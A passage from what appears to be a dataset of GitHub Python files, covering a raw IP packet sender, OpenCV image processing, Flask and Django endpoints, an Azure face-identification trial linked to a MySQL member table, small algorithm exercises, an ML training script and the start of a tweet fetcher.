DESTINATIONIP_HEX.decode(\"utf-8\")\n)\n\n# calculate checksum in hex:\nchecksum = calculate_checksum(header_str)\n\n# concatenate header and convert to bytes:\nheader_str = (\n \"4500 \"\n + total_length_hex\n + \" 1c46 4000 4006 \"\n + checksum\n + \" \"\n + SOURCEIP_HEX.decode(\"utf-8\")\n + \" \"\n + DESTINATIONIP_HEX.decode(\"utf-8\")\n)\n\nip_header_str = (header_str + msg.decode(\"utf-8\")).replace(\" \", \"\")\n\nIPHEADER = bytes(ip_header_str, \"utf-8\")\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((DESTINATIONIP, PORT))\n msg = IPHEADER\n s.send(msg)\n","repo_name":"vekshan/socket_programming_ipv4","sub_path":"packet_sender.py","file_name":"packet_sender.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71272852749","text":"import cv2\nimport numpy as np\n\n# Load the image in RGB format\nimage = cv2.imread('./images/blb_1.jpg')\nimage = cv2.resize(image, (750, 750))\n\n# Convert the image from BGR to RGB (if it's in BGR format)\nimage_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n# Convert the RGB image to HSV\nimage_hsv = cv2.cvtColor(image_rgb, cv2.COLOR_RGB2HSV)\n\n# Threshold the S channel to create a binary mask\nthreshold_value = 90\n_, mask = cv2.threshold(image_hsv[:, :, 1], threshold_value, 250, cv2.THRESH_BINARY)\n\n# Create an inverted mask to keep the foreground\nmask_inv = cv2.bitwise_not(mask)\n\n# Apply the mask to eliminate the background\nresult = cv2.bitwise_and(image_rgb, image_rgb, mask=mask)\n\n# Convert the result back to BGR format if needed\nresult_bgr = cv2.cvtColor(result, cv2.COLOR_RGB2BGR)\n\n# Display the original image and the background-removed image\ncv2.imshow('Original Image', image)\ncv2.imshow('Background Removed Image', result_bgr)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n# Save the background-removed image\ncv2.imwrite('preprocessing6_image.jpg', result_bgr)\n\n","repo_name":"EunicePMV/thesis-tool","sub_path":"preprocessing6.py","file_name":"preprocessing6.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"6337187575","text":"# 43. 不分行从上往下打印二叉树\n# 从上往下打印出二叉树的每个结点,同一层的结点按照从左到右的顺序打印。\n#\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def printFromTopToBottom(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if root is None:\n return []\n queue = [root]\n res = []\n while queue:\n # 弹出队首元素,索引编号 0 不要忘记写了\n top = queue.pop(0)\n res.append(top.val)\n if top.left:\n queue.append(top.left)\n if top.right:\n queue.append(top.right)\n return res\n","repo_name":"liweiwei1419/sword-for-offer-solution","sub_path":"codes/python/32-不分行从上往下打印二叉树.py","file_name":"32-不分行从上往下打印二叉树.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"12785849342","text":"from flask import Blueprint, make_response\nfrom ml.spectrogram import audio_processing\nfrom ml.data import add_medical_test\nfrom ml.data import dataset\nfrom flask import Flask, request, jsonify\nimport base64\nimport os\nimport json\n\nupload_medical_test_blueprint = Blueprint('upload_medical_test', __name__)\n\n@upload_medical_test_blueprint.route('/upload_medical_test',methods=['POST'])\ndef upload_medical_test():\n try:\n encoded_string = request.json['data']\n test_result = request.json['test_result']\n\n\n temp_filename = \"temp.wav\"\n wav_file = open(temp_filename, \"wb\")\n decoded_string = base64.b64decode(encoded_string)\n wav_file.write(decoded_string)\n\n add_medical_test.add_medical_test_to_dataset(temp_filename, test_result)\n print(\"HELLO\")\n\n\n wav_file.close()\n if os.path.exists(temp_filename):\n os.remove(temp_filename)\n else:\n print(\"The file does not exist\")\n\n return json.dumps({\"results\": \"success\"})\n except:\n return json.dumps({\"result\": \"failed\" })\n\n\n\n@upload_medical_test_blueprint.route('/get_medical_tests',methods=['GET'])\ndef get_medical_tests():\n try:\n print('HELLO')\n data = list(dataset.get_all_data())\n print('GOT DATA')\n info = []\n for datapoint in data:\n info.append((datapoint[\"date\"],datapoint[\"label\"]))\n print(info)\n responseObject = {\n 'status': 'success',\n 'message': 'Successfully logged in.',\n 'data': info\n }\n return make_response(jsonify(responseObject)), 200\n\n except:\n return json.dumps({\"result\": \"failed\" })\n\n","repo_name":"SECovid/corina-AI","sub_path":"backend/medical_test/upload_medical_test.py","file_name":"upload_medical_test.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34726315091","text":"import sys\nimport numpy as np\nfrom memory_profiler import profile\n\nfrom .data import M\n\ndef inplace_ref_write(ms):\n [m.update() for m in ms]\n\n\ndef gen_new_array_inplace_ref_write(ms):\n return [m.update() for m in ms]\n\n\nif __name__ == '__main__':\n arg = sys.argv[-1]\n\n if arg not in [\"INPLACE\",\"NEW_ARRAY_SAME_REF\",\"REF_NEW\"]:\n raise ValueError(\"Unknown mode to run\")\n\n n_loop = 5\n\n # Create large object\n p = []\n obj = [M() for i in range(1000)]\n\n for n in range(n_loop):\n print(\"iter #\", n)\n\n if arg==\"INPLACE\":\n # In-place update the memory without copying, return nothing\n inplace_ref_write(obj)\n\n elif arg==\"NEW_ARRAY_SAME_REF\":\n # Return a reference to the updated memory, replace the existing one\n obj = gen_new_array_inplace_ref_write(obj)\n","repo_name":"tao-pr/52-challenges","sub_path":"010-profile-python-memory-access/memory_profile/mem.py","file_name":"mem.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26273022280","text":"\"\"\"Cognitive Services trial\r\n\r\nこのスクリプトの目標。\r\n\r\n- 画像を5個用意したから、それをメモリ上に読み込む。\r\n- 画像を連結して1枚の画像にする。これもメモリ上で行う。\r\n- 雰囲気見るためにそれを png 画像化する。\r\n- メモリ上から Cognitive Services へ送り、返り値を取得する。\r\n- 返り値をみて、へーこんな感じで返ってくるんや〜って思う。\r\n- 連結画像の、これがこれで〜って関連付けを行う。\r\n\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy\r\nimport requests\r\nimport dotenv\r\nimport os\r\nimport json\r\nimport mysql.connector\r\nfrom pprint import pprint\r\n\r\n\r\n# .env で環境変数を取得する場合に対応します。\r\n# raise_error_if_not_found: .env が見つからなくてもエラーを起こさない。\r\ndotenv.load_dotenv(dotenv.find_dotenv(raise_error_if_not_found=False))\r\n\r\n\r\ndef get_env(keyname: str) -> str:\r\n \"\"\"環境変数を取得します。\r\n\r\n Arguments:\r\n keyname {str} -- 環境変数名。\r\n\r\n Raises:\r\n EnvNotFoundError: 環境変数が見つからない。\r\n\r\n Returns:\r\n str -- 環境変数の値。\r\n \"\"\"\r\n try:\r\n # GitHub Actions では環境変数が設定されていなくても yaml 内で空文字列が入ってしまう。空欄チェックも行います。\r\n _ = os.environ[keyname]\r\n if not _:\r\n raise KeyError(f'{keyname} is empty.')\r\n return _\r\n except KeyError as e:\r\n raise KeyError(keyname) from e\r\n\r\n\r\nAZURE_COGNITIVE_SERVICES_SUBSCRIPTION_KEY = get_env(\r\n 'AZURE_COGNITIVE_SERVICES_SUBSCRIPTION_KEY')\r\nPERSON_GROUP_ID = get_env('PERSON_GROUP_ID')\r\n\r\n\r\ndef read_image(image_path: str) -> numpy.ndarray:\r\n\r\n # 画像を読み込みます。\r\n # NOTE: imread により画像が mat 形式のデータになります。\r\n # NOTE: mat ってのは numpy の1,2次元配列です。\r\n # NOTE: type(mat) -> \r\n # NOTE: 1次元のことを channel といい、2次元のことを dimension といいます。\r\n mat = cv2.imread(image_path)\r\n\r\n # NOTE: 'not mat' とか書くと The truth value of an array with\r\n # NOTE: more than one element is ambiguous. と言われる。\r\n assert mat is not None, '画像が読み込めなかったよ。'\r\n\r\n # cv2.IMREAD_GRAYSCALE を指定すると白黒になる。\r\n # mat_grayscale = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\r\n # assert mat_grayscale is not None, 'グレースケール画像が読み込めなかったよ。'\r\n\r\n return mat\r\n\r\n\r\ndef show_image(mat_file: numpy.ndarray) -> None:\r\n\r\n # imshow と waitKey のセットで読み込んだ画像が閲覧できます。ニュッと GUI で出てくる。\r\n cv2.imshow('mat', mat_file)\r\n cv2.waitKey(0)\r\n\r\n\r\ndef get_image_size(mat_file: numpy.ndarray) -> tuple:\r\n\r\n # channel はカラー画像のとき存在します。\r\n # NOTE: グレースケールと見分けるのに使われるようだ。\r\n width, height, channel = mat_file.shape\r\n return (width, height)\r\n\r\n\r\ndef concatenate_tile(list_2d: list) -> numpy.ndarray:\r\n\r\n # mat_file の1次元配列を受け取り、タイル状に連結します。\r\n return cv2.vconcat([cv2.hconcat(list_1d) for list_1d in list_2d])\r\n\r\n\r\n# mat_file = read_image('./100x100-dog.png')\r\n# show_image(mat_file)\r\n\r\n# 検証する画像のリストです。\r\ntarget_images = [\r\n {\r\n 'path': './100x100-dog.png',\r\n 'mat': None, # imread により得られる予定。\r\n 'faceId': None, # detect API により得られる予定。\r\n 'candidatePersonId': None, # identify API により得られる予定。\r\n },\r\n {'path': './100x100-egc.png'},\r\n {'path': './100x100-egc2.png'},\r\n {'path': './100x100-kbt.png'},\r\n {'path': './100x100-ymzk.png'},\r\n {'path': './100x100-dog.png'},\r\n {'path': './100x100-egc.png'},\r\n {'path': './100x100-egc2.png'},\r\n {'path': './100x100-kbt.png'},\r\n {'path': './100x100-ymzk.png'},\r\n]\r\n\r\n# 各画像について mat 形式を取得します。\r\nfor image in target_images:\r\n image['mat'] = read_image(image['path'])\r\n\r\n# ブランク画像です。\r\n# NOTE: 黒画像なら numpy.zeros((100, 100, 3), numpy.uint8)\r\nblank_image = {\r\n 'mat': numpy.ones((100, 100, 3), numpy.uint8) * 255,\r\n}\r\n\r\n# 各画像のサイズが100x100であることを確認します。\r\n# NOTE: 連結するためにはサイズがあっていないといけないらしい。\r\nfor image in target_images:\r\n assert get_image_size(image['mat']) == (100, 100), '100x100じゃない画像が紛れ込んでいます。'\r\n\r\n# target_images を4x4の2次元リストに変換します。\r\ntarget_images_2d = []\r\nmat_list_2d = []\r\nfor vertical_index in range(4):\r\n target_images_2d.append([])\r\n mat_list_2d.append([])\r\n for horizontal_index in range(4):\r\n # 空きマスにもブランク画像を\r\n _ = target_images.pop(0) if len(target_images) else blank_image\r\n target_images_2d[vertical_index].append(_)\r\n mat_list_2d[vertical_index].append(_['mat'])\r\n\r\n# mat ファイルを4x4で連結します。\r\nconcatenated_mat_file = concatenate_tile(mat_list_2d)\r\n# 100px の4x4なので400x400になります。\r\n# print(get_image_size(concatenated_mat_file))\r\n# show_image(concatenated_mat_file)\r\n\r\n# ローカルへの保存のやりかた2通りです。\r\n# 1. cv2.imwrite を使う。\r\ncv2.imwrite('./use_imwrite.png', concatenated_mat_file)\r\n# 2. cv2.imencode と tobytes でバイナリに変換してから保存する。\r\nencode_succeeded, buffer = cv2.imencode('.png', concatenated_mat_file)\r\nbytes_image = buffer.tobytes()\r\nwith open('./use_imencode.png', 'wb') as f:\r\n f.write(bytes_image)\r\n\r\n\r\n# /face/v1.0/detect\r\ndef face_api_detect(bytes_image: bytes) -> dict:\r\n\r\n url = 'https://japaneast.api.cognitive.microsoft.com/face/v1.0/detect'\r\n params = {\r\n 'returnFaceId': 'true',\r\n 'returnFaceAttributes': 'accessories,glasses,blur',\r\n 'recognitionModel': \"recognition_02\",\r\n }\r\n headers = {\r\n 'Content-Type': 'application/octet-stream',\r\n 'Ocp-Apim-Subscription-Key': AZURE_COGNITIVE_SERVICES_SUBSCRIPTION_KEY,\r\n }\r\n response = requests.post(url=url,\r\n params=params,\r\n headers=headers,\r\n data=bytes_image)\r\n return response.json()\r\n\r\n\r\n# detection_results = face_api_detect(bytes_image)\r\n# pprint(detection_results)\r\ndetection_results = [\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': 'aee9e3aa-4aef-47f3-a823-0ca618c3f7d2',\r\n 'faceRectangle': {'height': 84, 'left': 4, 'top': 115, 'width': 84}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '8b7d5ed9-add8-4016-a9be-9b7266664e0d',\r\n 'faceRectangle': {'height': 83, 'left': 105, 'top': 215, 'width': 83}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'medium', 'value': 0.28},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '3426a540-f9a8-4632-90a7-3c8069e888df',\r\n 'faceRectangle': {'height': 83, 'left': 107, 'top': 14, 'width': 83}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'medium', 'value': 0.38},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '888475d8-2c6b-4a8c-9ffa-5838ca9bdf0b',\r\n 'faceRectangle': {'height': 82, 'left': 207, 'top': 115, 'width': 82}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '6065b3fd-c7e0-46ae-9677-543f0c87cc70',\r\n 'faceRectangle': {'height': 78, 'left': 210, 'top': 18, 'width': 78}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '7798c3fc-d87e-4aca-b183-754c0e34691f',\r\n 'faceRectangle': {'height': 78, 'left': 311, 'top': 118, 'width': 78}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': '8f04bfb5-2b15-4814-841a-b9990bee45a5',\r\n 'faceRectangle': {'height': 64, 'left': 17, 'top': 228, 'width': 64}},\r\n {'faceAttributes': {'accessories': [],\r\n 'blur': {'blurLevel': 'low', 'value': 0.0},\r\n 'glasses': 'NoGlasses'},\r\n 'faceId': 'c5fa847b-3480-440b-b6f2-2934910e95f3',\r\n 'faceRectangle': {'height': 64, 'left': 317, 'top': 28, 'width': 64}}\r\n]\r\n\r\n# faceRectangle から、画像に rectangle を書いてみる。(脇道)\r\nfor result in detection_results:\r\n face_rectangle = result['faceRectangle']\r\n left_top = (face_rectangle['left'], face_rectangle['top'])\r\n right_bottom = (face_rectangle['left'] + face_rectangle['width'],\r\n face_rectangle['top'] + face_rectangle['height'])\r\n cv2.rectangle(concatenated_mat_file,\r\n left_top, right_bottom, (255, 0, 0))\r\nshow_image(concatenated_mat_file)\r\n\r\n# target_images それぞれの画像と faceId を結びつけます。 faceRectangle の座標が目印となります。\r\n# target_image['faceId'] を埋めるということ。\r\nfor result in detection_results:\r\n face_rectangle = result['faceRectangle']\r\n\r\n # x 軸で何番目の画像?\r\n # NOTE: 画像サイズが100x100 なので、左上の x 座標 / 100 で切り捨て除算を行えば、 x 軸のインデックスになります。\r\n horizontal_index = face_rectangle['left'] // 100\r\n # y 軸で何番目の画像?\r\n vertical_index = face_rectangle['top'] // 100\r\n\r\n # 座標から求めた、この faceId に対応する画像です。\r\n target_image = target_images_2d[vertical_index][horizontal_index]\r\n target_image['faceId'] = result['faceId']\r\n\r\n# 2次元配列だとこのあとは扱いづらいから1次元配列に戻します。\r\n# HACK: 2次元 -> 1次元のシンプルなやり方があるような気がする。\r\n# HACK: 最初から配列を numpy.array で扱っておればいけそう。\r\ntarget_images = []\r\nfor lis in target_images_2d:\r\n target_images.extend(lis)\r\n\r\n# # 紐付けの確認。\r\n# for image in target_images:\r\n# print('path:', image['path'] if 'path' in image else None,\r\n# '---',\r\n# 'faceId:', image['faceId'] if 'faceId' in image else None)\r\n\r\n\r\n# /face/v1.0/identify\r\ndef face_api_identify(face_ids: list) -> dict:\r\n\r\n url = 'https://japaneast.api.cognitive.microsoft.com/face/v1.0/identify'\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'Ocp-Apim-Subscription-Key': AZURE_COGNITIVE_SERVICES_SUBSCRIPTION_KEY,\r\n }\r\n # NOTE: payload は積載物って意味。\r\n payload = {\r\n 'personGroupId': PERSON_GROUP_ID,\r\n 'faceIds': face_ids,\r\n 'maxNumOfCandidatesReturned': 1,\r\n 'confidenceThreshold': .65,\r\n }\r\n response = requests.post(url=url,\r\n headers=headers,\r\n data=json.dumps(payload))\r\n return response.json()\r\n\r\n\r\n# 取得できた faceId を の identify に回します。\r\nface_ids = [\r\n _['faceId']\r\n for _ in target_images\r\n if 'faceId' in _ and _['faceId']\r\n]\r\n# identification_results = face_api_identify(face_ids)\r\n# pprint(identification_results)\r\nidentification_results = [\r\n {'candidates': [{'confidence': 0.683,\r\n 'personId': 'e03ce785-280c-45c9-a3d8-93a1626bc980'}],\r\n 'faceId': '3426a540-f9a8-4632-90a7-3c8069e888df'},\r\n {'candidates': [{'confidence': 0.84629,\r\n 'personId': 'e03ce785-280c-45c9-a3d8-93a1626bc980'}],\r\n 'faceId': '6065b3fd-c7e0-46ae-9677-543f0c87cc70'},\r\n {'candidates': [{'confidence': 0.98266,\r\n 'personId': '8d82ac11-ee91-4577-b165-70b6c4200621'}],\r\n 'faceId': 'c5fa847b-3480-440b-b6f2-2934910e95f3'},\r\n {'candidates': [{'confidence': 0.73718,\r\n 'personId': 'bc5a2352-852a-48f9-8150-447e3c49eb79'}],\r\n 'faceId': 'aee9e3aa-4aef-47f3-a823-0ca618c3f7d2'},\r\n {'candidates': [{'confidence': 0.68109,\r\n 'personId': 'e03ce785-280c-45c9-a3d8-93a1626bc980'}],\r\n 'faceId': '888475d8-2c6b-4a8c-9ffa-5838ca9bdf0b'},\r\n {'candidates': [{'confidence': 0.85085,\r\n 'personId': 'e03ce785-280c-45c9-a3d8-93a1626bc980'}],\r\n 'faceId': '7798c3fc-d87e-4aca-b183-754c0e34691f'},\r\n {'candidates': [{'confidence': 0.98209,\r\n 'personId': '8d82ac11-ee91-4577-b165-70b6c4200621'}],\r\n 'faceId': '8f04bfb5-2b15-4814-841a-b9990bee45a5'},\r\n {'candidates': [{'confidence': 0.7313,\r\n 'personId': 'bc5a2352-852a-48f9-8150-447e3c49eb79'}],\r\n 'faceId': '8b7d5ed9-add8-4016-a9be-9b7266664e0d'}\r\n]\r\n\r\n# 次の処理で扱いやすいよう identification_results の構造を変えます。\r\nidentification_results_dic = {}\r\nfor result in identification_results:\r\n # 候補が見つからないときもあります。\r\n if not result['candidates']:\r\n continue\r\n\r\n # { [faceId]:{[candidatePersonId], [confidence]} }\r\n identification_results_dic[result['faceId']] = {\r\n 'candidatePersonId': result['candidates'][0]['personId'],\r\n 'confidence': result['candidates'][0]['confidence'],\r\n }\r\n\r\n# print(identification_results_dic)\r\n\r\n# target_images それぞれの画像と candidate を結びつけます。\r\n# target_image['candidatePersonId'] を埋めるということ。ついでに confidence も追加しよう。\r\nfor _ in target_images:\r\n # そもそも顔が detect されなかった(faceId がない)画像であるときもあります。\r\n if not _.get('faceId'):\r\n continue\r\n\r\n # 候補が見つからなかった(identify の結果に自分の faceId が含まれていない)ときもあります。\r\n if _['faceId'] not in identification_results_dic:\r\n continue\r\n\r\n candidate_for_this_image = identification_results_dic[_['faceId']]\r\n _['candidatePersonId'] = candidate_for_this_image['candidatePersonId']\r\n _['confidence'] = candidate_for_this_image['confidence']\r\n\r\n# 紐付けの確認。\r\n# for image in target_images:\r\n# print({\r\n# 'path': image.get('path'),\r\n# 'faceId': image.get('faceId'),\r\n# 'candidatePersonId': image.get('candidatePersonId'),\r\n# 'confidence': image.get('confidence'),\r\n# })\r\n\r\n\r\n# cognitive services とはもう関係ないけど、 mysql に接続して candidatePersonId の正体をつきとめよう。\r\ndef find_members_by_person_ids(candidate_person_ids: set) -> list:\r\n\r\n MYSQL_HOST = get_env('MYSQL_HOST')\r\n MYSQL_PASSWORD = get_env('MYSQL_PASSWORD')\r\n MYSQL_USER = get_env('MYSQL_USER')\r\n MYSQL_DATABASE = get_env('MYSQL_DATABASE')\r\n\r\n # DB 接続を行います。\r\n mysql_connection_config = {\r\n 'host': MYSQL_HOST,\r\n 'user': MYSQL_USER,\r\n 'password': MYSQL_PASSWORD,\r\n 'database': MYSQL_DATABASE,\r\n }\r\n connection = mysql.connector.connect(**mysql_connection_config)\r\n\r\n # candidatePersonId ぶんのプレースホルダを作ります。 %s, %s, %s, %s, ...\r\n place_holder = ','.join(('%s' for i in range(len(candidate_person_ids))))\r\n\r\n # candidatePersonId が誰なのか取得します。\r\n select_sql = ' '.join([\r\n 'SELECT',\r\n 'facedata.faceApiPersonId,',\r\n 'facedata.tmpName,',\r\n 'facedata.member,',\r\n 'member.name,',\r\n 'member.company',\r\n 'FROM facedata',\r\n 'LEFT JOIN member',\r\n 'ON facedata.member = member.id',\r\n f'WHERE facedata.faceApiPersonId IN ({place_holder})',\r\n ])\r\n cursor = connection.cursor(dictionary=True)\r\n cursor.execute(select_sql, tuple(candidate_person_ids))\r\n records = cursor.fetchall()\r\n cursor.close()\r\n\r\n # HACK: with ステートメントで書けるようにする。\r\n connection.close()\r\n\r\n return records\r\n\r\n\r\ncandidate_person_ids = set((\r\n _['candidatePersonId']\r\n for _ in target_images\r\n if _.get('candidatePersonId')\r\n))\r\nfound_records = find_members_by_person_ids(candidate_person_ids)\r\npprint(found_records)\r\n\r\n# 次の処理で使いやすいように { [faceApiPersonId]: [member 情報] } 構造にします。\r\nfound_records_dic = {}\r\nfor record in found_records:\r\n found_records_dic[record['faceApiPersonId']] = {\r\n 'company': record['company'],\r\n 'member': record['member'],\r\n 'name': record['name'],\r\n 'tmpName': record['tmpName'],\r\n }\r\n\r\n# target_images それぞれの画像と member を結びつけます。\r\n# target_image['member'] を埋めるということ。\r\nfor _ in target_images:\r\n # この image と一致した personId は結果にあるか?\r\n if _.get('candidatePersonId') not in found_records_dic:\r\n continue\r\n\r\n _['member'] = found_records_dic.get(_.get('candidatePersonId'))\r\n\r\n# 紐付けの確認。\r\nfor image in target_images:\r\n print({\r\n 'path': image.get('path'),\r\n # 'faceId': image.get('faceId'),\r\n # 'candidatePersonId': image.get('candidatePersonId'),\r\n 'confidence': image.get('confidence'),\r\n 'member': image.get('member'),\r\n })\r\n","repo_name":"yuu-eguci/cognitive-services-trial","sub_path":"trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":17724,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43329857844","text":"import sqlite3\n\ncon = sqlite3.connect(\"./db.db\")\ncur = con.cursor()\nsql = \"\"\"\nCREATE TABLE IF NOT EXISTS phones (id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, value VARCHAR(50));\n\"\"\"\ncur.execute(sql)\n\ncon.close()\n","repo_name":"zaera/hillel_sqlite3","sub_path":"create_db.py","file_name":"create_db.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69860298510","text":"\"\"\"kotowisko URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom kotowisko_app import views\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.Home.as_view()),\n path('blog-list/', views.BlogList.as_view()),\n path('fav/', views.FavoriteView.as_view()),\n path('blog-details//', views.ReadBlog.as_view()),\n path('add-blog/', views.AddBlog.as_view()),\n path('edit-blog//', views.EditBlog.as_view()),\n path('add-article/', views.AddArticle.as_view()),\n path('home-user/', views.UserHome.as_view()),\n path('accounts/', include('django.contrib.auth.urls')),\n path('edit-comment/',views.AddComment.as_view()),\n path('user-blogs/', views.UserBlogs.as_view()),\n path('blog-delate//',views.DelateBlog.as_view()),\n path('article-delate//',views.DelateArticle.as_view()),\n path('add-photo//', views.AddPhoto.as_view()),\n path('registration/', views.Register.as_view()),\n path('accounts/logout/',views.logout_page),\n path('registration/register-confirm/', views.RegisterConfirm.as_view())\n\n]\n","repo_name":"AnnaWolska/Zwierzowisko","sub_path":"kotowisko/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11630825129","text":"import os\nfrom collections import namedtuple\nfrom torch.utils import data\nimport numpy as np\nfrom scipy.io import wavfile\n\n\n# tuple representing the label and the full path of file containing audio segment\nAudioData = namedtuple('AudioFilePath', ['label', 'path'])\n\n\nclass BarkMeowDB(data.Dataset):\n \"\"\"\n Dataset representing a set of audio chunks,\n each containing either dog barking or cat meowing sounds.\n \"\"\"\n def __init__(self, audio_root: str):\n super().__init__()\n self.audio_root = audio_root\n self.class_label_name = {}\n # contains list of (class_label, audio_path)\n self.audio_data_list = []\n\n # label is the number and the name is its string representation\n for class_label, class_name in enumerate(os.listdir(self.audio_root)):\n self.class_label_name[class_label] = class_name\n\n class_audio_path = os.path.join(self.audio_root, class_name)\n for fname in os.listdir(class_audio_path):\n audio_path = os.path.join(class_audio_path, fname)\n\n self.audio_data_list.append(\n AudioData(label=class_label, path=audio_path))\n\n def __getitem__(self, idx: int):\n # read the audio data\n audio_data: AudioData = self.audio_data_list[idx]\n label, audio_path = audio_data.label, audio_data.path\n _, data = wavfile.read(audio_path)\n\n # add dimension at the front to make shape of: (1, 16000)\n return label, data[np.newaxis, :]\n\n def __len__(self):\n return len(self.audio_data_list)\n\n\nif __name__ == '__main__':\n ds = BarkMeowDB('./barkmeow_db')\n","repo_name":"dansuh17/barks-and-meow-classification","sub_path":"bark_meow/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71390819467","text":"from Transfer import *\r\nimport time\r\nimport threading\r\n\r\n\r\ndef listen_worker():\r\n\tlisten(8888)\r\n\twhile True:\r\n\t\treceive()\r\n\r\nlisten_thread = threading.Thread(target=listen_worker)\r\nlisten_thread.start()\r\n\r\ntime.sleep(2)\r\n\r\nwhile True:\r\n\ttime.sleep(1)\r\n\tsend(\"localhost\", 8888, \"Wow\")\r\n\t#\"10.173.66.53\" # Clement\r\n\t#\"10.173.51.54\" # Robert","repo_name":"RobertBMerriman/santa-vs-grinch","sub_path":"test_transfer.py","file_name":"test_transfer.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15687377492","text":"class Solution:\n def numJewelsInStones(self, jewels: str, stones: str) -> int:\n from collections import defaultdict\n dic = defaultdict(int)\n for stone in stones:\n if stone in jewels:\n dic[stone] += 1\n \n x = sum(list(dic.values()))\n return x\n","repo_name":"uygarrr/leetcode","sub_path":"hash-table/jewels-and-stones.py","file_name":"jewels-and-stones.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11750355369","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nimport csv\nimport sys\nimport pickle\n\nMODEL_NAME = './RandomForest.ml'\n\nif len(sys.argv) > 1:\n FileName = sys.argv[1]\nelse:\n FileName = './DumpData/features.csv'\nprint(\"reading input from \",FileName)\n\ndf = pd.read_csv(filepath_or_buffer = FileName, )\nprint(str(len(df)), \"rows loaded\")\n\ndf.columns = df.columns[:].str.strip()\nwidth = df.shape[1]\n\nfeatures = df.columns[1:width-1]\nprint(\"FEATURES = {}\".format(features))\n\nrf = RandomForestClassifier(n_jobs=2, n_estimators=100)\nrf.fit(df[features], df['class'])\n\nprint(\"Saving model to \" + MODEL_NAME +\"\\n\")\nwith open(MODEL_NAME, 'wb') as f:\n pickle.dump(rf, f)\nprint(\"Complete\")\n","repo_name":"mihirthatte/ChatBot","sub_path":"generateModel.py","file_name":"generateModel.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27802276527","text":"#!/usr/bin/env python3\n\nimport tweepy\nimport csv\nimport argparse\nimport re\nfrom notion_client import Client\nfrom datetime import datetime\nimport os\n\n\ndef fetch_filtered_tweets(api, user_id, keyword=None):\n filtered_tweets = []\n\n if keyword:\n print(f\"Fetching tweets from {user_id} containing '{keyword}'...\")\n else:\n print(f\"Fetching all tweets from {user_id}...\")\n\n for status in tweepy.Cursor(api.user_timeline, screen_name=user_id, tweet_mode=\"extended\").items():\n if not keyword or keyword.lower() in status.full_text.lower():\n prompt_text = re.search(r'(?i)prompt:\\s*(.*)', status.full_text)\n if prompt_text:\n status.filtered_text = prompt_text.group(1)\n else:\n status.filtered_text = \"\"\n filtered_tweets.append(status)\n\n print(f\"Found 